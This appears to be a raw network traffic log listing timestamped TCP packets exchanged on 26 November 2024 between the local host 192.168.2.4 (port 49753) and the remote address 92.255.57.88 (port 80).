Nov 26, 2024 00:07:47.967066050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.967122078 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.967756033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.967799902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.967833996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.967875004 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.968565941 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.968605995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.968653917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.968693018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.969361067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.969419003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.969528913 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.969569921 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.970407963 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.970447063 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.970516920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.970557928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.971005917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.971045971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.971126080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.971169949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.971772909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.971812010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.971864939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.971903086 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.972568035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.972611904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.972682953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.972723007 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.973411083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.973452091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.973526955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.973563910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.974196911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.974237919 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.974319935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.974358082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.975008965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.975050926 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.975208044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.975245953 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.975864887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.975903988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.976044893 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.976085901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.976591110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.976632118 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.145575047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.145682096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.145697117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.145737886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.146186113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.146199942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.146234989 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.146256924 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.146694899 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.146743059 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.146779060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.146814108 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.147486925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.147531986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.147680044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.147722006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.148288965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.148334980 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.148411036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.148452997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.149159908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.149209976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.149485111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.149530888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.149908066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.149952888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.150000095 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.150043011 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.150693893 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.150739908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.150870085 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.150911093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.151551962 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.151596069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.151652098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.151695967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.152508020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.152553082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.152776957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.152820110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.153135061 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.153181076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.153243065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.153285027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.153939962 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.153985977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.154020071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.154062986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.154752970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.154797077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.154856920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.154896021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.155683041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.155745983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.155939102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.155982971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.157046080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.157094955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.157156944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.157201052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.158103943 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.158152103 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.158233881 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.158278942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.159368038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.159413099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.159440994 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.159480095 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.159873962 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.159919024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.159976959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.160018921 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.160633087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.160679102 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.160727024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.160770893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.161226988 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.161268950 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.161315918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.161358118 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.161812067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.161856890 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.161873102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.161912918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.162359953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.162406921 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.162452936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.162496090 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.163068056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.163110971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.163188934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.163232088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.163933039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.163949966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.163978100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.163995981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.164480925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.164527893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.164572001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.164612055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.165292978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.165335894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.165357113 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.165399075 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.166048050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.166115046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.166220903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.166270018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.166845083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.166893959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.166948080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.166996002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.167644024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.167692900 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.167748928 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.167795897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.168483019 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.168534040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.168617010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.168667078 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.169280052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.169328928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.169394016 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.169444084 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.170074940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.170125961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.170164108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.170228958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.170871019 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.170922041 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.170967102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.171015024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.171705961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.171756029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.171888113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.171936989 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.172517061 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.172566891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.172626972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.172677040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.173314095 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.173365116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.173409939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.173458099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.174124956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.174175978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.174210072 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.174252987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.174940109 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.175003052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.175035000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.175080061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.175709963 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.175760031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.175802946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.175858021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.176574945 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.176640034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.176645994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.176677942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.177340031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.177402973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.177434921 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.177480936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.178179979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.178231001 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.178282022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.178325891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.178944111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.178993940 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.179040909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.179092884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.179778099 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.179842949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.179869890 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.179923058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.180587053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.180639029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.180716038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.180764914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.181377888 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.181437016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.181479931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.181525946 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.182197094 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.182265043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.182300091 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.182346106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.182974100 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.183022022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.183077097 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.183123112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.183787107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.183842897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.183881998 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.183922052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.184633970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.184684992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.184819937 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.184864998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.185411930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.185467958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.185517073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.185560942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.186203957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.186250925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.186290026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.186333895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.187062979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.187102079 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.187150002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.187150002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.187763929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.187813997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.356106043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.356189966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.356228113 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.356254101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.356322050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.356472969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.356482983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.356528044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.356555939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.356601000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.357309103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.357367992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.357384920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.357424974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.358098030 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.358146906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.358303070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.358350039 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.358954906 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.359004021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.359051943 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.359100103 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.359714031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.359764099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.359812975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.359860897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.360522032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.360569954 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.360634089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.360688925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.361346960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.361393929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.361418962 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.361490965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.362124920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.362171888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.362202883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.362263918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.362951994 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.362998962 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.363090038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.363143921 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.363738060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.363785028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.363823891 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.363873959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.364557028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.364607096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.364646912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.364722013 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.365362883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.365411043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.365459919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.365508080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.366239071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.366298914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.366309881 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.366359949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.366962910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.367011070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.367073059 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.367120981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.367769957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.367813110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.367826939 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.367856026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.368588924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.368635893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.368695021 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.368752956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.369385004 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.369436026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.369492054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.369540930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.370196104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.370244026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.370295048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.370357990 CET	49753	80	192.168.2.4	92.255.57.88
